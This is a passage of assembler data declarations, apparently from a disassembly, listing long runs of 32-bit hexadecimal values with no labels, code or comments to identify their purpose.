		dd 0A607886Dh, 471B7500h, 904CA5DDh, 0B0FF016Ah, 25A8D9B3h
		dd 34D5C418h, 4E1380A0h, 4AF87400h, 0EA09DF03h,	2F8E0DDDh
		dd 0C420D8E9h, 0B5007244h, 0EB2D2BFCh, 159FA792h, 0CC7093A6h
		dd 238DB3C0h, 0FC3EA7E0h, 58F38240h, 0C0AFEAD8h, 274B494Ch
		dd 18C070D0h, 0F177390h, 12523h, 0A3FC308Ah, 0BFAE4C8h
		dd 0CA851837h, 53DA2880h, 2F7AE6FEh, 0D6E5B800h, 878F9657h
		dd 4B340072h, 243BD5A5h, 700E62Ah, 0BC25287Fh, 0FE840196h
		dd 0B1BE00FBh, 0C5F73794h, 321F5EF1h, 9700E7D4h, 0ACA91C86h
		dd 93AD0F90h, 0F6F70Bh,	54CFD551h, 80C03871h, 7CDF3B88h
		dd 7AD60004h, 0C4E33653h, 342E4C9Bh, 9E0068A9h,	0A45C95AFh
		dd 7B2EAC9h, 0B01474BBh, 7D8D8007h, 7673E15Bh, 0F0506863h
		dd 77FCC879h, 476B00D6h, 2E611FBEh, 1E4C91A5h, 7210601Dh
		dd 0E8297CF2h, 4E6E0CFDh, 0CAD82BECh, 9756360Eh, 8194A370h
		dd 0C755E8B8h, 80BA4A22h, 6E88984h, 8F425C07h, 797D9Eh
		dd 90D67268h, 92CF0B1Bh, 0D420F657h, 0B277DB61h, 6DE72F01h
		dd 1FE8CEA7h, 7498030h,	0D63DD7ABh, 41FDA02Ch, 67008F56h
		dd 0E43AC2F8h, 50265Eh,	858B1B37h, 0C0C6B4DCh, 4200897Fh
		dd 0F741D20Bh, 1299666Eh, 0BF43F4Eh, 10879D78h,	0D387A05Fh
		dd 883FD5A4h, 6BD00EDh,	246C034Fh, 6E8B0369h, 11FD8DE8h
		dd 0CDB617C0h, 2E9F300h, 973F9060h, 58F50210h, 4BCA6494h
		dd 772C54E0h, 0A1230902h, 40523AFAh, 77F207ADh,	0B24F65h
		dd 61103C74h, 330066ECh, 70099FCDh, 124D3A76h, 234618h
		dd 78366DFCh, 8A00F393h, 55FD0558h, 3F52D1A6h, 5698EE67h
		dd 41FF38ADh, 0AFFCD879h, 0ECA8F126h, 8400C812h, 0B8CC4902h
		dd 0C2424AC3h, 0A88204B8h, 0DDD6B147h, 405D2403h, 0E9D0FF35h
		dd 303872D6h, 7C2995DDh, 46004ED7h, 0EB58A50Bh,	493CB71h
		dd 452CA60Fh, 0B0E8A48Ah, 0BF0B38h, 88AA4774h, 0F927E3Eh
		dd 0C8B995DEh, 0A3E71900h, 0BE037DBBh, 25432C7Ch, 0A982F0CCh
		dd 0E2C01434h, 49008811h, 8B164AF2h, 0FB607629h, 0B3EF2ED8h
		dd 0CEF65Fh, 8520F4DFh,	0A50915DAh, 0FACB539h, 0A0D9873Dh
		dd 2FA9A898h, 651F00D0h, 0DA52FD53h, 5C008A68h,	0D337016h
		dd 251519A0h, 98C47F6Bh, 84889F60h, 72F949h, 56F7DCF8h
		dd 7AB79EF1h, 411C4400h, 0D231ABB3h, 0B1EC2C20h, 0F055160Ch
		dd 72003AE8h, 0EBEA97CCh
		dd 0E3CF970h, 0BA481ACFh, 12561B40h, 782EC269h,	873C26B4h
		dd 0A180820Fh, 921A28B0h, 6BB21C29h, 0D104002Fh, 9B2A6162h
		dd 0B4D05E00h, 0D51331A1h, 68930008h, 67CEFB84h, 0BE01E5DFh
		dd 8827F952h, 50838171h, 66EFA5DAh, 57707A98h, 0B7DF78C0h
		dd 5FF862h, 0D3D6AE35h,	0E9DBA9E7h, 140F3200h, 0A8C57FA6h
		dd 405818D7h, 75AA4851h, 6A9B1300h, 608F213Eh, 7125ECC3h
		dd 0C897000Ah, 8662C17Ch, 0C7000E4Dh, 0A3E0F58Ah, 17947CCh
		dd 22401206h, 0D06E1989h, 2B3B981Ch, 0C3200E5h,	92FC36C8h
		dd 968E4A1h, 91A6F9A4h,	0C6495600h, 9438B233h, 5508E006h
		dd 19EA4ECh, 720EF974h,	0CC420A70h, 35011802h, 0CF32DC14h
		dd 71D846E3h, 3CF1004Ah, 0CC4195A1h, 88C051F6h,	5CB7FC9Fh
		dd 59860792h, 70D67D84h, 53D1DC82h, 0C5986407h,	800B3231h
		dd 8F478BF4h, 18773D54h, 589DCB89h, 167B0100h, 6701C53Fh
		dd 0A8AEE52Ch, 9FE8B938h, 0FC76E4F1h, 0BBF3990h, 749CF080h
		dd 0EC6CA639h, 0D358671Fh, 0E0017002h, 806C53DBh, 46EC6FAAh
		dd 9EB833B2h, 5E001578h, 16427918h, 167E2130h, 4B46FF38h
		dd 0CC090E40h, 16FD4080h, 1500CD5Eh, 0C65884F6h, 0D25B35h
		dd 3681D08Bh, 0F956F1E8h, 1C46F41Eh, 3986E14h, 55F868EEh
		dd 971DE05Ch, 2F402CBEh, 84E80394h, 18136DF3h, 980024FDh
		dd 3D7BA5D1h, 198C0BB9h, 3C80ED0Ah, 34904DF1h, 5C329C00h
		dd 30B29EAh, 0AC68005Ah, 0B2104BA0h, 97F484D7h,	6456D00Ch
		dd 0C338AEh, 0F7ACF17Bh, 680185EBh, 40823E00h, 0DA3D1B64h
		dd 67AB0039h, 34F9E1E9h, 150E2794h, 60C75BA8h, 0B18E1451h
		dd 0CF8600BAh, 43F1ED82h, 5F09E74Fh, 41772065h,	0F020E6D4h
		dd 2C9D75D5h, 1280EE3h,	4653837Bh, 9F81F370h, 3C1FC51Ah
		dd 188B0434h, 74C0690Bh, 8448F2h, 5C3186DAh, 680CA2A6h
		dd 3F00F9ECh, 0D5670274h, 0A1135Bh, 9425DA9Ch, 5AE3D7B9h
		dd 2FAB6E2Eh, 2322CC00h, 73FB7Dh, 0D255BEAh, 9F328E99h
		dd 4862C300h, 0DD156FA1h, 0E1E0002Fh, 0D9E2FB8Fh, 0E900F438h
		dd 21DF124Dh, 0BBD41Ch,	0E5A981F1h, 0D023B5DCh,	0EE256B00h
		dd 0F875BAC2h, 0F25A2612h, 0A5880035h, 74090455h, 540BB0Ch
		dd 0BE113C1Bh, 639600D4h, 3F550A15h, 0CD0EB761h, 908098EBh
		dd 6BEEF601h, 48908727h, 2800607Ah, 0F1302BE5h,	0F21BFBh
		dd 6F93211h, 57F41C29h,	4FC5E800h, 350E9BA2h, 0D3B703EBh
		dd 19B2DD13h, 0CF4B30D7h, 0F4047811h, 1287CEB8h, 338744E2h
		dd 2B8AEB28h, 88B58284h, 6C50062Dh, 0CC19ED3Eh,	447509B0h
		dd 50022C8h, 24CE218Fh,	793F6022h, 6114C04h, 8C8013ABh
		dd 92B29C0h, 91CD8228h,	24807040h, 8B36A01h, 0C4E038B7h
		dd 154A488Fh, 119DF246h, 655DE480h, 0DE752D00h,	35EE74BFh
		dd 8C890055h, 0D03C6688h, 0D33D3971h, 620D807Ch, 2F9C102Eh
		dd 0BE6F00E6h, 0A3C8AFFFh, 50DCD348h, 54067040h, 77914A4h
		dd 2A29B3BBh, 0F6C970D9h, 980031C1h, 0E0E76E2Eh, 63B989h
		dd 4FD3625Bh, 0ED23C20Fh, 98EB200h, 15F353BCh, 8AF50718h
		dd 108D051Dh, 0AF226FA9h, 0D54C0716h, 4F8CF800h, 3D97A8D2h
		dd 0A2B09551h, 0C8E51F5Ch, 808F3739h, 0E06D225Ah, 609271h
		dd 0C654A3ACh, 1449B870h, 97532501h, 0F9D7351Eh, 0CCF47C21h
		dd 66240062h, 88B4C4ACh, 88A1C177h, 2B1D7109h, 601F980Eh
		dd 2B63DB17h, 0C9E50038h, 333A1B4Ch, 0F9772211h, 0EA27510Fh
		dd 788053B8h, 0D0BEE2h,	199ED39Fh, 2827A510h, 0F0984225h
		dd 35CB01Ah, 9080C652h,	0EF882ADBh, 5105BB08h, 0E9177CF1h
		dd 921C14ACh, 0AC5D0CEEh, 1A004911h, 0DB658B8Eh, 26A984h
		dd 0A21118BBh, 0D1E62AF5h, 9F14ECB6h, 4F8300D0h, 0ECB3BC30h
		dd 92AC026Eh, 452339Ah,	73649C79h, 7C01ACC0h, 40C507C0h
		dd 0D0C45469h, 0F107A0A5h, 112C1776h, 852408BEh, 0A31FED00h
		dd 608D8E76h, 0A1DFF937h, 0F1166FECh, 50F4DA87h, 21522C46h
		dd 710F02F4h, 0C80A191h, 29E76922h, 9DC59C00h, 9FD66E20h
		dd 50EE00B7h, 234BAFF7h, 1300CC52h, 0B41BE96Dh,	0A663B01Dh
		dd 8F3B0B44h, 0C46DD68h, 920BBE00h, 38E71273h, 2247294h
		dd 9677DE28h, 28D097A4h, 0EC15B200h, 4A3B61F1h,	0C383853Ch
		dd 0C8B9285Bh, 482363A2h, 6D09FB38h, 0EC27DEEAh, 0C8833074h
		dd 798212Bh, 61A1ED00h,	13E7EA8Fh, 4C8100B9h, 0B6BF7D1Ah
		dd 0DA04352Ch, 715F9E17h, 8E3AC8C0h, 0E1F807h, 30821F52h
		dd 95F23B32h, 0EB021E3Ch, 9587288h, 0C6724143h,	0E8E93803h
		dd 228FF9E8h, 0C07B24B4h, 2DE4B7Ah, 0CA460910h,	0D740FBF3h
		dd 5F282967h, 8C13D073h, 3405DF97h, 309742EAh, 647EEC80h
		dd 9480BD2Eh, 3ED93DCh,	86F89498h, 3F2AB00Ch, 3C3B71E2h
		dd 137E1430h, 40AE84EFh, 0B8BE1570h, 5D0CD293h,	196D45A0h
		dd 0BA7E1CD4h, 6511B1B4h, 0BC16F457h, 0E3B5A125h, 685905A0h
		dd 0E04E64C1h, 5E0235BCh, 0BB3196A7h, 0A98F06Fh, 0DD3D97C8h
		dd 87EA5080h, 1261AB60h, 22160E9h, 0A22A33D3h, 796098E8h
		dd 3C020E36h, 8054FE65h, 63A87102h, 33F070F6h, 19C1A45Ah
		dd 0BAD7174Dh, 0BFE41024h, 7911582Ch, 820A3800h, 8B44CB39h
		dd 344907Ch, 60AD2B17h,	54E01528h, 6F2736FBh, 74749674h
		dd 236017D4h, 5E2D0527h, 1F8A1CCh, 7068B2F4h, 0C9059490h
		dd 2B266751h, 29E4D840h, 1D414h, 12A9D280h, 0C2B0DAF8h
		dd 0BC345000h, 907DFF70h, 0D00A2A51h, 968300FCh, 0B4442343h
		dd 0AB7036A8h, 2A33513Bh, 5AF2A409h, 73DDF000h,	0F3E89578h
		dd 0BCC3038Ah, 8BA70A3Bh, 0C972B900h, 0AF18B51Dh, 0BE120098h
		dd 8DBF9208h, 1E01F8DDh, 9FCE02B8h, 38ECB924h, 6180FF2Fh
		dd 10FF61EDh, 565B46EFh, 1232E0CCh, 38C3A0DEh, 0F0B85C6Ch
		dd 0FCAAA102h, 704050B5h, 0BF3D13B4h, 0D04422D6h, 622E38F2h
		dd 5A00F059h, 695E4798h, 3DDA00C8h, 0DFC92D46h,	0D60273E9h
		dd 0AC6159E3h, 929C5E1Dh, 0EC5400C0h, 0F87F3B8Ch, 5E045400h
		dd 0B85BFA89h, 975C1D4Bh, 4F67C51Bh, 0E9CC8455h, 0EC5224D0h
		dd 0CBD04127h, 4C18C670h, 4D01CEB9h, 4085BD94h,	8038223Ah
		dd 0BBD0A48Ch, 47CC00D9h, 9EAEAF19h, 0F330D56Bh, 0EE09603Bh
		dd 0A49752E6h, 0C0002B8Eh, 0A7252E8Dh, 1C4051C1h, 402464B3h
		dd 2AF82A6Bh, 6D9101D8h, 0C9AEE1E3h, 9299C93Ch,	4C144019h
		dd 101D00D8h, 2725C241h, 0A85B09BAh, 878EA3A2h,	0F92D2FE5h
		dd 0D8396B9Ch, 680F569Ch, 0FEA8D804h, 0A8B864h,	0CC532C49h
		dd 0E6F77F15h, 38E095DFh, 7903F621h, 0B98811ADh, 38ACA40Dh
		dd 0D2123D07h, 0A98CF0BDh, 0E800DAE7h, 9F37906Dh, 274DC52h
		dd 48111AD9h, 72E079C9h, 9800E695h, 21F41F07h, 4A74BAC4h
		dd 0D940F0E9h, 2DE29000h, 0A25DB44Dh, 213400ACh, 96E8C122h
		dd 0E4005E05h, 0F45C43FDh, 503E6999h, 43FB2D2h,	2756E0F9h
		dd 0F688F009h, 70084E00h, 5EB5F29Dh, 87A0C08Dh,	141CF57Ch
		dd 0EB1DEC01h, 5F356263h, 99FB7C80h, 0F37B09F9h, 0A7B91105h
		dd 34E4453Ch, 37CEE5Bh,	0C8146EFFh, 507B52B1h, 0E4F51AE0h
		dd 0F00C7830h, 7816659Ah, 2B57000Dh, 0E40CD5BDh, 30C0A78Ch
		dd 28E6ACF5h, 1CFF6EAh,	99BEB013h, 809F0652h, 50DD9220h
		dd 24546FEh, 0A3A14BC2h, 58F03531h, 16E99815h, 0AB500DCh
		dd 56FF3E0h, 0B41E3848h, 80B80CA4h, 2014F61h, 92602022h
		dd 9C153B31h, 0B7483866h
		dd 39F4405Fh, 0BE2E5572h, 0FF92304h, 0F4F187D9h, 2E303FCh
		dd 0FACD86ECh, 84C0E485h, 9D26F729h, 82024C3Ch,	482BD2BAh
		dd 198D4E4h, 1733B62h, 0D810A74Bh, 1400F1B6h, 2B72FB34h
		dd 0E6B628Ch, 138E2E69h, 28B99540h, 0F40F3F44h,	625FF56Ch
		dd 56FC829Ch, 0D47180C8h, 11404161h, 530F28E8h,	0D77493DAh
		dd 0EFA2820h, 1EBFC76h,	701754D5h, 0EC0DC27Eh, 0C7092D53h
		dd 0DBA7DEC9h, 1FBB003Ch, 0CDA20D64h, 0A3B52400h, 835D5880h
		dd 6D360042h, 0AD90A981h, 0D23E5A97h, 0CB18EB2h, 732F01C0h
		dd 1E90429h, 0FE41E0h, 0BD453647h, 3A023117h, 0FF071AE2h
		dd 832DB1B0h, 1EE82831h, 0E04765CCh, 4F99005Ch,	38868F6Dh
		dd 780014ADh, 0E773BCE0h, 4BA187AFh, 4068C141h,	0FC695Dh
		dd 9C44CA83h, 7644A87h,	658E4C37h, 131F1131h, 0EABC4069h
		dd 2002A75h, 4DC55CF5h,	0B1E2787h, 76DE8389h, 6A0054D8h
		dd 0B6FC7ED6h, 1E405585h, 4CA162C1h, 0DB48437Ch, 4A171400h
		dd 0D3F17BCBh, 205F5EFEh, 0EEDB644Ch, 41F0B802h, 0D494FFCDh
		dd 88270038h, 865D7154h, 2A7CB100h, 30A2AF4Dh, 5055F246h
		dd 0E6A8A6h, 1CD10932h,	0EB189DC3h, 5BAA7800h, 0EA117115h
		dd 21860058h, 6D4441AEh, 2A005D0Eh, 2C64DA1Ch, 7EA966h
		dd 0B4E85513h, 0E01D873Dh, 4840FD00h, 0E3518B85h, 7A53726Ah
		dd 0BFC7C13h, 0EB59B4E7h, 0BDC79680h, 2A7DBE84h, 0DB131D03h
		dd 8855881Ah, 246A50D9h, 578D45Eh, 0F0854F7h, 0A00020BCh
		dd 4B150D3Dh, 0F9505Ch,	23E47B7h, 5834094Ah, 0EC00C10Ch
		dd 56BB222Bh, 661C3B0Eh, 0C54426E9h, 4AB5D48h, 51EF0E4h
		dd 78A9F92Ah, 0F1607407h, 50CA9052h, 0BA00C2B5h, 2092DB83h
		dd 0F6F5A63h, 0C15D90D1h, 30D6BCC7h, 8849D59Ah,	2633E1Ch
		dd 980E0493h, 34194268h, 77F048CEh, 849C2E14h, 0A4ED8070h
		dd 8BC5309Eh, 0F8B6DD00h, 1C71C699h, 8F31C0E6h,	26C872Ch
		dd 0AC8CD580h, 77D10F10h, 0A220F9B4h, 1E29193Ch, 0E0943F2Dh
		dd 48587F60h, 0D05CF8EFh, 0A518B32h, 0DA34C129h, 34397C61h
		dd 2E9BB502h, 4856C77Ah, 7C560B80h, 9692F8h, 0EC6003E7h
		dd 0C62CA2C3h, 6AE50E00h, 7CDD47Eh, 3EFD001Ah, 9CD9AB34h
		dd 7B00DD91h, 62C3B06Eh, 2655BD87h, 1348BB39h, 41223h
		dd 3E6D2E48h, 0AA07070Dh, 6429BC27h, 55F41DD0h,	286497FDh
		dd 8CC5BD00h, 390E463Ah, 5CAC3902h, 8CE07BAFh, 0AA71F42Ch
		dd 0B213E400h, 50ABC058h, 1D6C908Ah, 49CA79B9h,	0D8E452BDh
		dd 168F14Ch, 5D51E56Eh,	34714DBCh, 41C6A03Bh, 1700777Eh
		dd 0F3D911B8h, 43CB69Bh, 1996E904h, 0A150C001h,	2C00436Bh
		dd 6AB82588h, 17C9172Eh, 7C8CFFh, 42BC9394h, 377EA21Eh
		dd 67B82300h, 0D25CE560h, 1CD33F7Eh, 0E7056861h, 89BC2434h
		dd 486502Eh, 702C4B0Bh,	10B960C4h, 0A4C943FBh, 5500ACE8h
		dd 0BEB18F51h, 0ED50772h, 0C5CEE837h, 0DE7C25A2h, 0F85187C1h
		dd 0C4B8E5C8h, 0BCD2395Fh, 5349C052h, 0D6660CCEh, 1B4872B1h
		dd 0A3ECE618h, 0B98956h, 8EBBC4A8h, 0F03390D8h,	0F1E5E800h
		dd 5CFF51DBh, 1CFF69Ch,	390C6483h, 3B76A98Dh, 0C3E58820h
		dd 62CF0588h, 0F8F61E19h, 0D0F70038h, 522F36A0h, 4ED4075Ah
		dd 8F98C9E5h, 0F972768Fh, 897784A0h, 0C7707090h, 0DC9328CAh
		dd 0F37600D8h, 6A6BE31Ch, 7014F1Ah, 209C2614h, 63E4BBE5h
		dd 924B092Dh, 780222EDh, 205505E8h, 67F0389Ch, 0B10E0202h
		dd 0D23680C1h, 4200D85Ah, 0DE58275Eh, 74390A09h, 18929530h
		dd 2251981h, 31028B7h, 8588C2CCh, 0A41EF07Ch, 0E88D499Bh
		dd 0AEA2EA00h, 0D8C5B9C9h, 0E1076D90h, 3012C74h, 0A2E96560h
		dd 403F01F7h, 55992A56h, 5C202BB5h, 3A6752F0h, 0B000E7D8h
		dd 42355AF5h, 59000139h, 0A07AA711h, 457561h, 6D5F740h
		dd 0E667AC96h, 2B312C27h, 2C9CF2A8h, 88C638h, 2E36C901h
		dd 950076E9h, 0E3329C3Ah, 4EE1234Bh, 0B7D02821h, 0CDB8AF00h
		dd 0CFD51295h, 8B834E43h, 67970150h, 52249407h,	0C9C58FEh
		dd 0C9E384B7h, 6F016528h, 7AE02D61h, 83813B6h, 9B44C8A0h
		dd 478A8400h, 0DFE92651h, 66481397h, 0F4B01631h, 600B038h
		dd 467B8EDDh, 960AF7C1h, 0FA45864h, 5EC9F061h, 0D02AF86Ah
		dd 6FAA6714h, 2621E300h, 3480BBF2h, 9B8B2DDh, 0C8A9D245h
		dd 3606A880h, 21002690h, 3DF0DDE4h, 142063D5h, 0D4AC5E93h
		dd 83C0B0C0h, 5812C5FEh, 0DC82F5FDh, 0FFF3405Ch, 0C1695B98h
		dd 307D8A34h, 0E04D6C04h, 1E338154h, 947C0B6Dh,	1ACCD382h
		dd 64E22B24h, 0B051E6C4h, 0F400BBCCh, 0D1B3F76Bh, 71C8E06h
		dd 71384CD5h, 0D784E08Ch, 655D9AF3h, 570272F8h,	3E49742Ah
		dd 3898A0E3h, 4A0DF31h,	0A5CC218Dh, 0E09F8018h,	911248D3h
		dd 1C80FA27h, 0C224489h, 609DF745h, 0A4240851h,	0E4222EEAh
		dd 0C8286300h, 51977E4Fh, 0D8F417h, 0F8B00E07h,	2B59680Ch
		dd 5A95BE03h, 0CAF2CEh,	0E3E108E8h, 5128F99Ch, 4700E971h
		dd 8029F0C2h, 470CCC0h,	9308B42Dh, 9EB8B054h, 9D304018h
		dd 3B32C1h, 9471F619h, 0F048939h, 5A91B160h, 0A0297936h
		dd 941BCh, 16B5DB93h, 13266418h, 0F8E30F01h, 44722723h
		dd 8502D828h, 0CD45CC39h, 54511160h, 55208900h,	2A219A75h
		dd 50C0BE46h, 0B416ED60h, 8C00578Bh, 53275F4Ah,	3C1300CAh
		dd 6DA70A03h, 2D55DF80h, 46EDF49Ch, 7502A49h, 0FB794C94h
		dd 0C30FC6D1h, 7188703Bh, 0BC0F7C1Fh, 0C0CF7BB0h, 0FFA9D89Fh
		dd 3FD8CEB6h, 0B0731A0h, 742C1B53h, 3D02B57Fh, 55961C93h
		dd 0BB5C420h, 0A70BDD54h, 0C711B0F9h, 0FA073BA8h, 20C30CF9h
		dd 0E02B29D4h, 9E6F2717h, 593E1840h, 29567E36h,	714C667h
		dd 40632226h, 7DD35DE6h, 4C8BF49Ch, 4BC40424h, 0A70A648Eh
		dd 80A42988h, 4E12794Bh, 3005A1D9h, 25DA1E94h, 0A9AD58E1h
		dd 41385880h, 0AC034C0Fh, 589D3DA6h, 0D8D2C3B0h, 52EECDD7h
		dd 0C08434F9h, 0C2248233h, 73610460h, 5E4A271Eh, 80078B9h
		dd 0F65A8D7Ah, 5866BA2Ah, 0CF0484A5h, 901FFC82h, 6D067A80h
		dd 7C69D701h, 0A9CE6E41h, 0DE139982h, 0C86007E4h, 0EF25507Ah
		dd 8C00069h, 9DE9A697h,	0B413E864h, 38A02B72h, 0DF640448h
		dd 0F29B2FE2h, 0BC70000Ch, 31DCFE1Ch, 7DE10006h, 235875DFh
		dd 413D337Bh, 881000BDh, 225C40B9h, 7A251FEBh, 0A4440D6h
		dd 2D504A3Bh, 60367601h, 0B140E2C4h, 4FDC3521h,	7FF50113h
		dd 0CD122DB9h, 88E2047h, 0A022702Dh, 6790643Ch,	585CF044h
		dd 172DB3B3h, 991094C0h, 0F301097Bh, 0E20DF6B1h, 4C9B6EBh
		dd 0DC4FD0h, 0CC730C6Ch, 4D47C559h, 38698100h, 0EAD2A98Ch
		dd 54FFA53h, 968FB79Eh,	0C8BC1Dh, 92037980h, 18CB1FB4h
		dd 90737B41h, 0F30B6824h, 0D4233Eh, 6CFB9C5h, 5080FBECh
		dd 0ACAFCC96h, 3E7F3590h, 0E5611E17h, 0E1F4E0h,	320FCF07h
		dd 0FC72B010h, 177C809Dh, 9386BDh, 6BB62050h, 689EA213h
		dd 0A5543EE0h, 491C05E4h, 1C03161h, 0C2F676B7h,	8B8200BBh
		dd 0A3DB4464h, 922524A1h, 290D85Eh, 4F7B04F7h, 6CD3F88Ah
		dd 0D3F02607h, 0F2B9FB32h, 1B2E00A4h, 0E20F85B3h, 0C9000937h
		dd 6FCE5904h, 12D7BCh, 0B649659Fh, 34E560Fh, 0F550AD01h
		dd 0E44587DFh, 0B1C506D4h, 0DD670490h, 0A800BE49h, 1A08A30Bh
		dd 6F1B4C16h, 29443F00h, 5CC12656h, 2BA98107h, 55E09CF6h
		dd 5A625ED9h, 0D6F83Ch
		dd 0F931107Ch, 4260D3h,	296112BDh, 0D2B9DB52h, 9BE8D500h
		dd 0F35E6FB4h, 20BC60FFh, 20342CA6h, 0E3DADB25h, 0CD390010h
		dd 0C2E7C8C6h, 7900B67Eh, 0E9786CAh, 0E901B5Ch,	658A0231h
		dd 7050C220h, 4D123A10h, 0F0E02E59h, 2F37866h, 0CB1AC0DAh
		dd 0AC5092FDh, 1387E120h, 0B4D01836h, 8C0072BCh, 357814E2h
		dd 9D8E7Fh, 0AF244E62h,	3EFF4B71h, 8C007C5Ah, 39ED255Fh
		dd 0DF77B1h, 0E1751BDBh, 5A6EA448h, 0DD008CB0h,	5BC1B0FCh
		dd 9FF1D6h, 0E81D923Ch,	76C6450Bh, 8E97CE07h, 0AF223115h
		dd 8CF46064h, 21933F99h, 70EA8700h, 0B70AB5F8h,	0A200E87Fh
		dd 9DD530CDh, 9269148Ah, 1A57079Ch, 402EC2ADh, 187F7017h
		dd 94B0F600h, 35ABB147h, 7697001Fh, 16E6200Ah, 6704BD71h
		dd 0DD5318A7h, 5F4849ABh, 770078D2h, 0E9355985h, 0B5EDE9Fh
		dd 0E16BA2DAh, 6400FCFAh, 0DF8D4F38h, 7274FAB9h, 0A89B00EBh
		dd 40137549h, 0E11D4EF2h, 6A405BB6h, 82463D4Dh,	735D0BD5h
		dd 8402AFC9h, 23E0E871h, 990040CBh, 861F63B4h, 127CC689h
		dd 1665EA3h, 3057F278h,	0AC03951h, 0BC4E1602h, 38B4EC00h
		dd 5E7C043Eh, 2078810Ah, 0CB48008Ch, 0BB700CF9h, 9C50C746h
		dd 97D8743Dh, 5A05EE8Bh, 20C00E10h, 0B9E302h, 2C32FB43h
		dd 0BB088DB3h, 86F3531Fh, 373D9D00h, 35C79D5h, 187C9964h
		dd 0CD804AE9h, 0BF00ABA7h, 0C8B98A86h, 0C7897Dh, 2BD20E34h
		dd 3A05A229h, 3BF86700h, 15AFB832h, 48B8ECh, 0C14181ABh
		dd 5A66D048h, 0DA0DF906h, 96216045h, 6C602D58h,	150998D4h
		dd 8071F91Bh, 996D772Ch, 0BC780375h, 0D47B885Fh, 0F5DAB7A0h
		dd 84CE3B00h, 0D9057DE4h, 6BB0409h, 0E86399F1h,	0ED0575FCh
		dd 0B00AA6B1h, 0AEBE8880h, 5C2A3CD3h, 0D2A8F580h, 0ECE8FC1Eh
		dd 28F62471h, 94A11F00h, 47316BDFh, 274A86h, 6F09C4BCh
		dd 43070B73h, 2E9B8971h, 3A400317h, 77013D5h, 3D073FD7h
		dd 1906FF8Ch, 471636D4h, 0ACB249F7h, 0E3CFC90Bh, 73C1D00h
		dd 4D7533CDh, 54705F1Eh, 966E8D00h, 4E99BC4Ch, 6F48022h
		dd 898FF34h, 38689300h,	37CE312Bh, 5BDF7A75h, 0BBEC94B0h
		dd 22DD9800h, 387016EEh, 7F57C01h, 0F1A9E29Bh, 565412E0h
		dd 73D9E05Dh, 48AC0040h, 0E4BC167Eh, 0AE00E685h, 0D5EDA45Eh
		dd 0CDC8B4h, 0BEBF2DFDh, 458C7922h, 75238D0Bh, 385CA556h
		dd 0EC0CE0h, 4A1A21B7h,	2869BF2Eh, 687A5E25h, 9BD3A4h
		dd 63716890h, 0A3A2ABBCh, 4FAFAE00h, 2606B4EBh,	0A5C32640h
		dd 0D45801A8h, 4363497Eh, 27A96E90h, 2E68F9AFh,	0E569E0C0h
		dd 61A80418h, 0EC9BD784h, 0C8A22620h, 0A7D8501h, 17BC14Ah
		dd 2221FBCCh, 3097FDD1h, 6900BA30h, 0F0AB6CDAh,	4C3C779Fh
		dd 5D0E74A5h, 6A862EF2h, 91014864h, 0DBA49D35h,	822ADF95h
		dd 306066B8h, 4E1CC4A8h, 0F9C0E8A3h, 996AE97Eh,	0E5752F91h
		dd 841FECCCh, 0D64B69B9h, 8DA0E8D0h, 0A2CC07C8h, 0A03D43DDh
		dd 5192A09Bh, 6D774BE8h, 0CE362804h, 83C00329h,	0B849891Ch
		dd 33E70098h, 226AD014h, 0C09F5250h, 4008A6A4h,	0A197FE69h
		dd 0A1BB7270h, 6832DC11h, 145C01D4h, 0DA579A2h,	0B773D70h
		dd 5ACD80F2h, 581FEC00h, 5479A6CAh, 0D50062ECh,	0EF64E636h
		dd 0F48844h, 258223E9h,	7C561716h, 0D4343000h, 0C6B2B995h
		dd 0B3BB1EBAh, 999300B8h, 0C9C2AC13h, 0B4963Fh,	2BE9FE7Bh
		dd 12D4AADFh, 0FC1192h,	1CEA313Eh, 76009B21h, 0AFBF726Fh
		dd 0C1C448h, 131152FCh,	56CC1062h, 76010BFCh, 0CAFD3847h
		dd 0FADCDD32h, 1102071Fh, 70FD05Dh, 0B0E5923Fh,	0B0767862h
		dd 6547C900h, 20103C5h,	69E18316h, 2478D16Ah, 0B763A300h
		dd 0AE333888h, 0C05F5AA7h, 4A4B3678h, 0A8923F00h, 433AA047h
		dd 0F8B600DEh, 2FCC8FCFh, 0C700B120h, 91723302h, 29776Eh
		dd 27FA4E76h, 0A19CA8ADh, 0E25BBA00h, 0C98037AAh, 45230759h
		dd 0F020D290h, 953D9AB0h, 0DC881A04h, 0AE7972h,	0F16CB04h
		dd 0B400F104h, 80C0EA0Bh, 2C64264Fh, 752C18Fh, 0B0E39BBEh
		dd 4060054Ah, 0E101A0FEh, 0E0B3A47h, 1DE80267h,	1F33079Eh
		dd 0C20ADF59h, 0F0FC62EDh, 0AEC82400h, 178CB7h,	6D25C59Ch
		dd 1C666086h, 0FF00E490h, 0E340BB92h, 2F65ACh, 43BA83C1h
		dd 3963AAE6h, 4180CB00h, 556D931Bh, 1CB31D2Bh, 0A5CBF933h
		dd 9180E3C8h, 0C81E7AE6h, 2E80C24Bh, 3CA5700Bh,	26600EDCh
		dd 72A72Fh, 359F6F26h, 0B00B318h, 5787FCD6h, 73BD410h
		dd 6E70E266h, 30C13038h, 9DA4D2h, 67986844h, 0A6B20096h
		dd 3B62FE8h, 6A1EF775h,	8D805324h, 0BAD494CBh, 0D1DD0006h
		dd 0E3D3073Eh, 0F10FEA93h, 0E0B2C188h, 0C3C87EA1h, 49510B19h
		dd 9900A4ABh, 381F704Ah, 93FDF000h, 8AF557F8h, 0AC2E00A6h
		dd 34261A6Ch, 0D0A20439h, 0C300D876h, 745A02C4h, 96DC3CBFh
		dd 5BA454h, 0B8E4DFF6h,	0AE9AC149h, 87000898h, 94CF064Bh
		dd 67F55CA8h, 0A9A920BEh, 0A600A05Ch, 3BAFA020h, 0AC609D40h
		dd 1C05B62Ah, 2848B79Ch, 90F1A400h, 122E9A2Bh, 8096EA3Ah
		dd 9FB2FFACh, 11385030h, 0F2172D62h, 6EB7002Eh,	5639681h
		dd 69130277h, 88022FEh,	0D3F178h, 0CBA09D48h, 7DD86212h
		dd 1E237500h, 141BDC61h, 647B84Dh, 0BE859CC4h, 8209C04Eh
		dd 50F5D8EDh, 215A00C4h, 5DBD9D16h, 3F0AE674h, 841B4EF8h
		dd 0A36AA700h, 0C40B78h, 6BE9270Dh, 0C20E7BA2h,	0F30FD1F4h
		dd 2072A998h, 8BC36D94h, 2EBF815h, 0D4735CF4h, 0C45633DCh
		dd 0A3205200h, 0A12F14ABh, 0F7FCBD84h, 0C7610EA0h, 4680DE0Ah
		dd 0FAA2EE0h, 75EA7102h, 5A43C9EEh, 104C0088h, 24F723A0h
		dd 0A14C708Bh, 98D907A8h, 32A0362Eh, 0F8600EBCh, 0E47D00F2h
